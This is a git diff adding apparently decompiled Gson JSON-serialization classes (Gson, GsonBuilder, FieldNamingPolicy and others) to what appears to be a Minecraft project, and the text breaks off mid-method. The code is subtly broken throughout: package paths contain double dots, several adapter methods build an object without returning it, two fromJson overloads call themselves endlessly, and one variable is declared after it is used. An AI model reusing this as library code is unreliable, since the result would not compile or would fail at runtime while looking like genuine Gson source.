+    this(DateFormat.getDateTimeInstance(dateStyle, timeStyle, Locale.US), DateFormat.getDateTimeInstance(dateStyle, timeStyle));
+  }
+  
+  DefaultDateTypeAdapter(DateFormat enUsFormat, DateFormat localFormat)
+  {
+    this.enUsFormat = enUsFormat;
+    this.localFormat = localFormat;
+    iso8601Format = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss'Z'", Locale.US);
+    iso8601Format.setTimeZone(TimeZone.getTimeZone("UTC"));
+  }
+  
+
+  public JsonElement serialize(java.util.Date src, Type typeOfSrc, JsonSerializationContext context)
+  {
+    synchronized (localFormat) {
+      String dateFormatAsString = enUsFormat.format(src);
+      return new JsonPrimitive(dateFormatAsString);
+    }
+  }
+  
+  public java.util.Date deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException
+  {
+    if (!(json instanceof JsonPrimitive)) {
+      throw new JsonParseException("The date should be a string value");
+    }
+    java.util.Date date = deserializeToDate(json);
+    if (typeOfT == java.util.Date.class)
+      return date;
+    if (typeOfT == Timestamp.class)
+      return new Timestamp(date.getTime());
+    if (typeOfT == java.sql.Date.class) {
+      return new java.sql.Date(date.getTime());
+    }
+    throw new IllegalArgumentException(getClass() + " cannot deserialize to " + typeOfT);
+  }
+  
+  private java.util.Date deserializeToDate(JsonElement json)
+  {
+    synchronized (localFormat) {
+      try {
+        return localFormat.parse(json.getAsString());
+      }
+      catch (ParseException ignored) {
+        try {
+          return enUsFormat.parse(json.getAsString());
+        }
+        catch (ParseException ignored) {
+          try {
+            return iso8601Format.parse(json.getAsString());
+          } catch (ParseException e) {
+            throw new JsonSyntaxException(json.getAsString(), e);
+          }
+        }
+      }
+    }
+  }
+  
+  public String toString() { StringBuilder sb = new StringBuilder();
+    sb.append(DefaultDateTypeAdapter.class.getSimpleName());
+    sb.append('(').append(localFormat.getClass().getSimpleName()).append(')');
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/com/google/gson/ExclusionStrategy.java b/src/minecraft/com/google/gson/ExclusionStrategy.java
new file mode 100644
index 0000000..99fb164
--- /dev/null
+++ b/src/minecraft/com/google/gson/ExclusionStrategy.java
@@ -0,0 +1,8 @@
+package com.google.gson;
+
+public abstract interface ExclusionStrategy
+{
+  public abstract boolean shouldSkipField(FieldAttributes paramFieldAttributes);
+  
+  public abstract boolean shouldSkipClass(Class<?> paramClass);
+}
diff --git a/src/minecraft/com/google/gson/FieldAttributes.java b/src/minecraft/com/google/gson/FieldAttributes.java
new file mode 100644
index 0000000..69dfed0
--- /dev/null
+++ b/src/minecraft/com/google/gson/FieldAttributes.java
@@ -0,0 +1,157 @@
+package com.google.gson;
+
+import com.google.gson.internal..Gson.Preconditions;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Field;
+import java.lang.reflect.Type;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class FieldAttributes
+{
+  private final Field field;
+  
+  public FieldAttributes(Field f)
+  {
+    .Gson.Preconditions.checkNotNull(f);
+    field = f;
+  }
+  
+
+
+  public Class<?> getDeclaringClass()
+  {
+    return field.getDeclaringClass();
+  }
+  
+
+
+  public String getName()
+  {
+    return field.getName();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Type getDeclaredType()
+  {
+    return field.getGenericType();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Class<?> getDeclaredClass()
+  {
+    return field.getType();
+  }
+  
+
+
+
+
+
+
+  public <T extends Annotation> T getAnnotation(Class<T> annotation)
+  {
+    return field.getAnnotation(annotation);
+  }
+  
+
+
+
+
+
+  public Collection<Annotation> getAnnotations()
+  {
+    return Arrays.asList(field.getAnnotations());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean hasModifier(int modifier)
+  {
+    return (field.getModifiers() & modifier) != 0;
+  }
+  
+
+
+
+
+
+  Object get(Object instance)
+    throws IllegalAccessException
+  {
+    return field.get(instance);
+  }
+  
+
+
+
+
+  boolean isSynthetic()
+  {
+    return field.isSynthetic();
+  }
+}
diff --git a/src/minecraft/com/google/gson/FieldNamingPolicy.java b/src/minecraft/com/google/gson/FieldNamingPolicy.java
new file mode 100644
index 0000000..ac98436
--- /dev/null
+++ b/src/minecraft/com/google/gson/FieldNamingPolicy.java
@@ -0,0 +1,166 @@
+package com.google.gson;
+
+import java.lang.reflect.Field;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum FieldNamingPolicy
+  implements FieldNamingStrategy
+{
+  IDENTITY, 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  UPPER_CAMEL_CASE, 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  UPPER_CAMEL_CASE_WITH_SPACES, 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  LOWER_CASE_WITH_UNDERSCORES, 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  LOWER_CASE_WITH_DASHES;
+  
+
+
+
+  private FieldNamingPolicy() {}
+  
+
+
+  private static String separateCamelCase(String name, String separator)
+  {
+    StringBuilder translation = new StringBuilder();
+    for (int i = 0; i < name.length(); i++) {
+      char character = name.charAt(i);
+      if ((Character.isUpperCase(character)) && (translation.length() != 0)) {
+        translation.append(separator);
+      }
+      translation.append(character);
+    }
+    return translation.toString();
+  }
+  
+
+
+  private static String upperCaseFirstLetter(String name)
+  {
+    StringBuilder fieldNameBuilder = new StringBuilder();
+    int index = 0;
+    char firstCharacter = name.charAt(index);
+    
+    while ((index < name.length() - 1) && 
+      (!Character.isLetter(firstCharacter)))
+    {
+
+
+      fieldNameBuilder.append(firstCharacter);
+      firstCharacter = name.charAt(++index);
+    }
+    
+    if (index == name.length()) {
+      return fieldNameBuilder.toString();
+    }
+    
+    if (!Character.isUpperCase(firstCharacter)) {
+      String modifiedTarget = modifyString(Character.toUpperCase(firstCharacter), name, ++index);
+      return modifiedTarget;
+    }
+    return name;
+  }
+  
+  private static String modifyString(char firstCharacter, String srcString, int indexOfSubstring)
+  {
+    return indexOfSubstring < srcString.length() ? firstCharacter + srcString.substring(indexOfSubstring) : String.valueOf(firstCharacter);
+  }
+}
diff --git a/src/minecraft/com/google/gson/FieldNamingStrategy.java b/src/minecraft/com/google/gson/FieldNamingStrategy.java
new file mode 100644
index 0000000..8ac9928
--- /dev/null
+++ b/src/minecraft/com/google/gson/FieldNamingStrategy.java
@@ -0,0 +1,8 @@
+package com.google.gson;
+
+import java.lang.reflect.Field;
+
+public abstract interface FieldNamingStrategy
+{
+  public abstract String translateName(Field paramField);
+}
diff --git a/src/minecraft/com/google/gson/Gson.java b/src/minecraft/com/google/gson/Gson.java
new file mode 100644
index 0000000..54aba48
--- /dev/null
+++ b/src/minecraft/com/google/gson/Gson.java
@@ -0,0 +1,900 @@
+package com.google.gson;
+
+import com.google.gson.internal.ConstructorConstructor;
+import com.google.gson.internal.Excluder;
+import com.google.gson.internal.Primitives;
+import com.google.gson.internal.Streams;
+import com.google.gson.internal.bind.ArrayTypeAdapter;
+import com.google.gson.internal.bind.CollectionTypeAdapterFactory;
+import com.google.gson.internal.bind.DateTypeAdapter;
+import com.google.gson.internal.bind.JsonTreeReader;
+import com.google.gson.internal.bind.JsonTreeWriter;
+import com.google.gson.internal.bind.MapTypeAdapterFactory;
+import com.google.gson.internal.bind.ObjectTypeAdapter;
+import com.google.gson.internal.bind.ReflectiveTypeAdapterFactory;
+import com.google.gson.internal.bind.SqlDateTypeAdapter;
+import com.google.gson.internal.bind.TimeTypeAdapter;
+import com.google.gson.internal.bind.TypeAdapters;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import com.google.gson.stream.MalformedJsonException;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.io.Writer;
+import java.lang.reflect.Type;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Gson
+{
+  static final boolean DEFAULT_JSON_NON_EXECUTABLE = false;
+  private static final String JSON_NON_EXECUTABLE_PREFIX = ")]}'\n";
+  private final ThreadLocal<Map<TypeToken<?>, FutureTypeAdapter<?>>> calls = new ThreadLocal();
+  
+
+  private final Map<TypeToken<?>, TypeAdapter<?>> typeTokenCache = Collections.synchronizedMap(new HashMap());
+  
+  private final List<TypeAdapterFactory> factories;
+  
+  private final ConstructorConstructor constructorConstructor;
+  
+  private final boolean serializeNulls;
+  
+  private final boolean htmlSafe;
+  private final boolean generateNonExecutableJson;
+  private final boolean prettyPrinting;
+  final JsonDeserializationContext deserializationContext = new JsonDeserializationContext()
+  {
+    public <T> T deserialize(JsonElement json, Type typeOfT) throws JsonParseException {
+      return fromJson(json, typeOfT);
+    }
+  };
+  
+  final JsonSerializationContext serializationContext = new JsonSerializationContext() {
+    public JsonElement serialize(Object src) {
+      return toJsonTree(src);
+    }
+    
+    public JsonElement serialize(Object src, Type typeOfSrc) { return toJsonTree(src, typeOfSrc); }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Gson()
+  {
+    this(Excluder.DEFAULT, FieldNamingPolicy.IDENTITY, Collections.emptyMap(), false, false, false, true, false, false, LongSerializationPolicy.DEFAULT, Collections.emptyList());
+  }
+  
+
+
+
+
+
+
+
+  Gson(Excluder excluder, FieldNamingStrategy fieldNamingPolicy, Map<Type, InstanceCreator<?>> instanceCreators, boolean serializeNulls, boolean complexMapKeySerialization, boolean generateNonExecutableGson, boolean htmlSafe, boolean prettyPrinting, boolean serializeSpecialFloatingPointValues, LongSerializationPolicy longSerializationPolicy, List<TypeAdapterFactory> typeAdapterFactories)
+  {
+    constructorConstructor = new ConstructorConstructor(instanceCreators);
+    this.serializeNulls = serializeNulls;
+    generateNonExecutableJson = generateNonExecutableGson;
+    this.htmlSafe = htmlSafe;
+    this.prettyPrinting = prettyPrinting;
+    
+    List<TypeAdapterFactory> factories = new ArrayList();
+    
+
+    factories.add(TypeAdapters.JSON_ELEMENT_FACTORY);
+    factories.add(ObjectTypeAdapter.FACTORY);
+    
+
+    factories.add(excluder);
+    
+
+    factories.addAll(typeAdapterFactories);
+    
+
+    factories.add(TypeAdapters.STRING_FACTORY);
+    factories.add(TypeAdapters.INTEGER_FACTORY);
+    factories.add(TypeAdapters.BOOLEAN_FACTORY);
+    factories.add(TypeAdapters.BYTE_FACTORY);
+    factories.add(TypeAdapters.SHORT_FACTORY);
+    factories.add(TypeAdapters.newFactory(Long.TYPE, Long.class, longAdapter(longSerializationPolicy)));
+    
+    factories.add(TypeAdapters.newFactory(Double.TYPE, Double.class, doubleAdapter(serializeSpecialFloatingPointValues)));
+    
+    factories.add(TypeAdapters.newFactory(Float.TYPE, Float.class, floatAdapter(serializeSpecialFloatingPointValues)));
+    
+    factories.add(TypeAdapters.NUMBER_FACTORY);
+    factories.add(TypeAdapters.CHARACTER_FACTORY);
+    factories.add(TypeAdapters.STRING_BUILDER_FACTORY);
+    factories.add(TypeAdapters.STRING_BUFFER_FACTORY);
+    factories.add(TypeAdapters.newFactory(BigDecimal.class, TypeAdapters.BIG_DECIMAL));
+    factories.add(TypeAdapters.newFactory(BigInteger.class, TypeAdapters.BIG_INTEGER));
+    factories.add(TypeAdapters.URL_FACTORY);
+    factories.add(TypeAdapters.URI_FACTORY);
+    factories.add(TypeAdapters.UUID_FACTORY);
+    factories.add(TypeAdapters.LOCALE_FACTORY);
+    factories.add(TypeAdapters.INET_ADDRESS_FACTORY);
+    factories.add(TypeAdapters.BIT_SET_FACTORY);
+    factories.add(DateTypeAdapter.FACTORY);
+    factories.add(TypeAdapters.CALENDAR_FACTORY);
+    factories.add(TimeTypeAdapter.FACTORY);
+    factories.add(SqlDateTypeAdapter.FACTORY);
+    factories.add(TypeAdapters.TIMESTAMP_FACTORY);
+    factories.add(ArrayTypeAdapter.FACTORY);
+    factories.add(TypeAdapters.ENUM_FACTORY);
+    factories.add(TypeAdapters.CLASS_FACTORY);
+    
+
+    factories.add(new CollectionTypeAdapterFactory(constructorConstructor));
+    factories.add(new MapTypeAdapterFactory(constructorConstructor, complexMapKeySerialization));
+    factories.add(new ReflectiveTypeAdapterFactory(constructorConstructor, fieldNamingPolicy, excluder));
+    
+
+    this.factories = Collections.unmodifiableList(factories);
+  }
+  
+  private TypeAdapter<Number> doubleAdapter(boolean serializeSpecialFloatingPointValues) {
+    if (serializeSpecialFloatingPointValues) {
+      return TypeAdapters.DOUBLE;
+    }
+    new TypeAdapter() {
+      public Double read(JsonReader in) throws IOException {
+        if (in.peek() == JsonToken.NULL) {
+          in.nextNull();
+          return null;
+        }
+        return Double.valueOf(in.nextDouble());
+      }
+      
+      public void write(JsonWriter out, Number value) throws IOException { if (value == null) {
+          out.nullValue();
+          return;
+        }
+        double doubleValue = value.doubleValue();
+        Gson.this.checkValidFloatingPoint(doubleValue);
+        out.value(value);
+      }
+    };
+  }
+  
+  private TypeAdapter<Number> floatAdapter(boolean serializeSpecialFloatingPointValues) {
+    if (serializeSpecialFloatingPointValues) {
+      return TypeAdapters.FLOAT;
+    }
+    new TypeAdapter() {
+      public Float read(JsonReader in) throws IOException {
+        if (in.peek() == JsonToken.NULL) {
+          in.nextNull();
+          return null;
+        }
+        return Float.valueOf((float)in.nextDouble());
+      }
+      
+      public void write(JsonWriter out, Number value) throws IOException { if (value == null) {
+          out.nullValue();
+          return;
+        }
+        float floatValue = value.floatValue();
+        Gson.this.checkValidFloatingPoint(floatValue);
+        out.value(value);
+      }
+    };
+  }
+  
+  private void checkValidFloatingPoint(double value) {
+    if ((Double.isNaN(value)) || (Double.isInfinite(value))) {
+      throw new IllegalArgumentException(value + " is not a valid double value as per JSON specification. To override this" + " behavior, use GsonBuilder.serializeSpecialFloatingPointValues() method.");
+    }
+  }
+  
+
+  private TypeAdapter<Number> longAdapter(LongSerializationPolicy longSerializationPolicy)
+  {
+    if (longSerializationPolicy == LongSerializationPolicy.DEFAULT) {
+      return TypeAdapters.LONG;
+    }
+    new TypeAdapter() {
+      public Number read(JsonReader in) throws IOException {
+        if (in.peek() == JsonToken.NULL) {
+          in.nextNull();
+          return null;
+        }
+        return Long.valueOf(in.nextLong());
+      }
+      
+      public void write(JsonWriter out, Number value) throws IOException { if (value == null) {
+          out.nullValue();
+          return;
+        }
+        out.value(value.toString());
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public <T> TypeAdapter<T> getAdapter(TypeToken<T> type)
+  {
+    TypeAdapter<?> cached = (TypeAdapter)typeTokenCache.get(type);
+    if (cached != null) {
+      return cached;
+    }
+    
+    Map<TypeToken<?>, FutureTypeAdapter<?>> threadCalls = (Map)calls.get();
+    boolean requiresThreadLocalCleanup = false;
+    if (threadCalls == null) {
+      threadCalls = new HashMap();
+      calls.set(threadCalls);
+      requiresThreadLocalCleanup = true;
+    }
+    
+
+    FutureTypeAdapter<T> ongoingCall = (FutureTypeAdapter)threadCalls.get(type);
+    if (ongoingCall != null) {
+      return ongoingCall;
+    }
+    try
+    {
+      FutureTypeAdapter<T> call = new FutureTypeAdapter();
+      threadCalls.put(type, call);
+      
+      for (TypeAdapterFactory factory : factories) {
+        TypeAdapter<T> candidate = factory.create(this, type);
+        if (candidate != null) {
+          call.setDelegate(candidate);
+          typeTokenCache.put(type, candidate);
+          return candidate;
+        }
+      }
+      throw new IllegalArgumentException("GSON cannot handle " + type);
+    } finally {
+      threadCalls.remove(type);
+      
+      if (requiresThreadLocalCleanup) {
+        calls.remove();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> TypeAdapter<T> getDelegateAdapter(TypeAdapterFactory skipPast, TypeToken<T> type)
+  {
+    boolean skipPastFound = false;
+    
+    for (TypeAdapterFactory factory : factories) {
+      if (!skipPastFound) {
+        if (factory == skipPast) {
+          skipPastFound = true;
+        }
+      }
+      else
+      {
+        TypeAdapter<T> candidate = factory.create(this, type);
+        if (candidate != null)
+          return candidate;
+      }
+    }
+    throw new IllegalArgumentException("GSON cannot serialize " + type);
+  }
+  
+
+
+
+
+
+  public <T> TypeAdapter<T> getAdapter(Class<T> type)
+  {
+    return getAdapter(TypeToken.get(type));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JsonElement toJsonTree(Object src)
+  {
+    if (src == null) {
+      return JsonNull.INSTANCE;
+    }
+    return toJsonTree(src, src.getClass());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JsonElement toJsonTree(Object src, Type typeOfSrc)
+  {
+    JsonTreeWriter writer = new JsonTreeWriter();
+    toJson(src, typeOfSrc, writer);
+    return writer.get();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toJson(Object src)
+  {
+    if (src == null) {
+      return toJson(JsonNull.INSTANCE);
+    }
+    return toJson(src, src.getClass());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toJson(Object src, Type typeOfSrc)
+  {
+    StringWriter writer = new StringWriter();
+    toJson(src, typeOfSrc, writer);
+    return writer.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void toJson(Object src, Appendable writer)
+    throws JsonIOException
+  {
+    if (src != null) {
+      toJson(src, src.getClass(), writer);
+    } else {
+      toJson(JsonNull.INSTANCE, writer);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void toJson(Object src, Type typeOfSrc, Appendable writer)
+    throws JsonIOException
+  {
+    try
+    {
+      JsonWriter jsonWriter = newJsonWriter(Streams.writerForAppendable(writer));
+      toJson(src, typeOfSrc, jsonWriter);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    }
+  }
+  
+
+
+
+
+  public void toJson(Object src, Type typeOfSrc, JsonWriter writer)
+    throws JsonIOException
+  {
+    TypeAdapter<?> adapter = getAdapter(TypeToken.get(typeOfSrc));
+    boolean oldLenient = writer.isLenient();
+    writer.setLenient(true);
+    boolean oldHtmlSafe = writer.isHtmlSafe();
+    writer.setHtmlSafe(htmlSafe);
+    boolean oldSerializeNulls = writer.getSerializeNulls();
+    writer.setSerializeNulls(serializeNulls);
+    try {
+      adapter.write(writer, src);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    } finally {
+      writer.setLenient(oldLenient);
+      writer.setHtmlSafe(oldHtmlSafe);
+      writer.setSerializeNulls(oldSerializeNulls);
+    }
+  }
+  
+
+
+
+
+
+
+  public String toJson(JsonElement jsonElement)
+  {
+    StringWriter writer = new StringWriter();
+    toJson(jsonElement, writer);
+    return writer.toString();
+  }
+  
+
+
+
+
+
+  public void toJson(JsonElement jsonElement, Appendable writer)
+    throws JsonIOException
+  {
+    try
+    {
+      JsonWriter jsonWriter = newJsonWriter(Streams.writerForAppendable(writer));
+      toJson(jsonElement, jsonWriter);
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+
+  private JsonWriter newJsonWriter(Writer writer)
+    throws IOException
+  {
+    if (generateNonExecutableJson) {
+      writer.write(")]}'\n");
+    }
+    JsonWriter jsonWriter = new JsonWriter(writer);
+    if (prettyPrinting) {
+      jsonWriter.setIndent("  ");
+    }
+    jsonWriter.setSerializeNulls(serializeNulls);
+    return jsonWriter;
+  }
+  
+
+
+  public void toJson(JsonElement jsonElement, JsonWriter writer)
+    throws JsonIOException
+  {
+    boolean oldLenient = writer.isLenient();
+    writer.setLenient(true);
+    boolean oldHtmlSafe = writer.isHtmlSafe();
+    writer.setHtmlSafe(htmlSafe);
+    boolean oldSerializeNulls = writer.getSerializeNulls();
+    writer.setSerializeNulls(serializeNulls);
+    try {
+      Streams.write(jsonElement, writer);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    } finally {
+      writer.setLenient(oldLenient);
+      writer.setHtmlSafe(oldHtmlSafe);
+      writer.setSerializeNulls(oldSerializeNulls);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(String json, Class<T> classOfT)
+    throws JsonSyntaxException
+  {
+    Object object = fromJson(json, classOfT);
+    return Primitives.wrap(classOfT).cast(object);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(String json, Type typeOfT)
+    throws JsonSyntaxException
+  {
+    if (json == null) {
+      return null;
+    }
+    StringReader reader = new StringReader(json);
+    T target = fromJson(reader, typeOfT);
+    return target;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(Reader json, Class<T> classOfT)
+    throws JsonSyntaxException, JsonIOException
+  {
+    JsonReader jsonReader = new JsonReader(json);
+    Object object = fromJson(jsonReader, classOfT);
+    assertFullConsumption(object, jsonReader);
+    return Primitives.wrap(classOfT).cast(object);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(Reader json, Type typeOfT)
+    throws JsonIOException, JsonSyntaxException
+  {
+    JsonReader jsonReader = new JsonReader(json);
+    T object = fromJson(jsonReader, typeOfT);
+    assertFullConsumption(object, jsonReader);
+    return object;
+  }
+  
+  private static void assertFullConsumption(Object obj, JsonReader reader) {
+    try {
+      if ((obj != null) && (reader.peek() != JsonToken.END_DOCUMENT)) {
+        throw new JsonIOException("JSON document was not fully consumed.");
+      }
+    } catch (MalformedJsonException e) {
+      throw new JsonSyntaxException(e);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public <T> T fromJson(JsonReader reader, Type typeOfT)
+    throws JsonIOException, JsonSyntaxException
+  {
+    boolean isEmpty = true;
+    boolean oldLenient = reader.isLenient();
+    reader.setLenient(true);
+    try {
+      reader.peek();
+      isEmpty = false;
+      TypeToken<T> typeToken = TypeToken.get(typeOfT);
+      typeAdapter = getAdapter(typeToken);
+      T object = typeAdapter.read(reader);
+      return object;
+    }
+    catch (EOFException e)
+    {
+      TypeAdapter<T> typeAdapter;
+      
+      if (isEmpty) {
+        return null;
+      }
+      throw new JsonSyntaxException(e);
+    } catch (IllegalStateException e) {
+      throw new JsonSyntaxException(e);
+    }
+    catch (IOException e) {
+      throw new JsonSyntaxException(e);
+    } finally {
+      reader.setLenient(oldLenient);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(JsonElement json, Class<T> classOfT)
+    throws JsonSyntaxException
+  {
+    Object object = fromJson(json, classOfT);
+    return Primitives.wrap(classOfT).cast(object);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T fromJson(JsonElement json, Type typeOfT)
+    throws JsonSyntaxException
+  {
+    if (json == null) {
+      return null;
+    }
+    return fromJson(new JsonTreeReader(json), typeOfT);
+  }
+  
+  static class FutureTypeAdapter<T> extends TypeAdapter<T> { private TypeAdapter<T> delegate;
+    
+    FutureTypeAdapter() {}
+    
+    public void setDelegate(TypeAdapter<T> typeAdapter) { if (delegate != null) {
+        throw new AssertionError();
+      }
+      delegate = typeAdapter;
+    }
+    
+    public T read(JsonReader in) throws IOException {
+      if (delegate == null) {
+        throw new IllegalStateException();
+      }
+      return delegate.read(in);
+    }
+    
+    public void write(JsonWriter out, T value) throws IOException {
+      if (delegate == null) {
+        throw new IllegalStateException();
+      }
+      delegate.write(out, value);
+    }
+  }
+  
+  public String toString()
+  {
+    return "{serializeNulls:" + serializeNulls + "factories:" + factories + ",instanceCreators:" + constructorConstructor + "}";
+  }
+}
diff --git a/src/minecraft/com/google/gson/GsonBuilder.java b/src/minecraft/com/google/gson/GsonBuilder.java
new file mode 100644
index 0000000..e6cd2d2
--- /dev/null
+++ b/src/minecraft/com/google/gson/GsonBuilder.java
@@ -0,0 +1,566 @@
+package com.google.gson;
+
+import com.google.gson.internal..Gson.Preconditions;
+import com.google.gson.internal.Excluder;
+import com.google.gson.internal.bind.TypeAdapters;
+import com.google.gson.reflect.TypeToken;
+import java.lang.reflect.Type;
+import java.sql.Timestamp;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class GsonBuilder
+{
+  private Excluder excluder = Excluder.DEFAULT;
+  private LongSerializationPolicy longSerializationPolicy = LongSerializationPolicy.DEFAULT;
+  private FieldNamingStrategy fieldNamingPolicy = FieldNamingPolicy.IDENTITY;
+  private final Map<Type, InstanceCreator<?>> instanceCreators = new HashMap();
+  
+  private final List<TypeAdapterFactory> factories = new ArrayList();
+  
+  private final List<TypeAdapterFactory> hierarchyFactories = new ArrayList();
+  private boolean serializeNulls;
+  private String datePattern;
+  private int dateStyle = 2;
+  private int timeStyle = 2;
+  private boolean complexMapKeySerialization;
+  private boolean serializeSpecialFloatingPointValues;
+  private boolean escapeHtmlChars = true;
+  
+
+
+
+  private boolean prettyPrinting;
+  
+
+
+  private boolean generateNonExecutableJson;
+  
+
+
+
+  public GsonBuilder() {}
+  
+
+
+
+  public GsonBuilder setVersion(double ignoreVersionsAfter)
+  {
+    excluder = excluder.withVersion(ignoreVersionsAfter);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder excludeFieldsWithModifiers(int... modifiers)
+  {
+    excluder = excluder.withModifiers(modifiers);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public GsonBuilder generateNonExecutableJson()
+  {
+    generateNonExecutableJson = true;
+    return this;
+  }
+  
+
+
+
+
+
+  public GsonBuilder excludeFieldsWithoutExposeAnnotation()
+  {
+    excluder = excluder.excludeFieldsWithoutExposeAnnotation();
+    return this;
+  }
+  
+
+
+
+
+
+
+  public GsonBuilder serializeNulls()
+  {
+    serializeNulls = true;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder enableComplexMapKeySerialization()
+  {
+    complexMapKeySerialization = true;
+    return this;
+  }
+  
+
+
+
+
+
+  public GsonBuilder disableInnerClassSerialization()
+  {
+    excluder = excluder.disableInnerClassSerialization();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public GsonBuilder setLongSerializationPolicy(LongSerializationPolicy serializationPolicy)
+  {
+    longSerializationPolicy = serializationPolicy;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public GsonBuilder setFieldNamingPolicy(FieldNamingPolicy namingConvention)
+  {
+    fieldNamingPolicy = namingConvention;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public GsonBuilder setFieldNamingStrategy(FieldNamingStrategy fieldNamingStrategy)
+  {
+    fieldNamingPolicy = fieldNamingStrategy;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public GsonBuilder setExclusionStrategies(ExclusionStrategy... strategies)
+  {
+    for (ExclusionStrategy strategy : strategies) {
+      excluder = excluder.withExclusionStrategy(strategy, true, true);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder addSerializationExclusionStrategy(ExclusionStrategy strategy)
+  {
+    excluder = excluder.withExclusionStrategy(strategy, true, false);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder addDeserializationExclusionStrategy(ExclusionStrategy strategy)
+  {
+    excluder = excluder.withExclusionStrategy(strategy, false, true);
+    return this;
+  }
+  
+
+
+
+
+
+  public GsonBuilder setPrettyPrinting()
+  {
+    prettyPrinting = true;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public GsonBuilder disableHtmlEscaping()
+  {
+    escapeHtmlChars = false;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder setDateFormat(String pattern)
+  {
+    datePattern = pattern;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder setDateFormat(int style)
+  {
+    dateStyle = style;
+    datePattern = null;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder setDateFormat(int dateStyle, int timeStyle)
+  {
+    this.dateStyle = dateStyle;
+    this.timeStyle = timeStyle;
+    datePattern = null;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GsonBuilder registerTypeAdapter(Type type, Object typeAdapter)
+  {
+    .Gson.Preconditions.checkArgument(((typeAdapter instanceof JsonSerializer)) || ((typeAdapter instanceof JsonDeserializer)) || ((typeAdapter instanceof InstanceCreator)) || ((typeAdapter instanceof TypeAdapter)));
+    
+
+
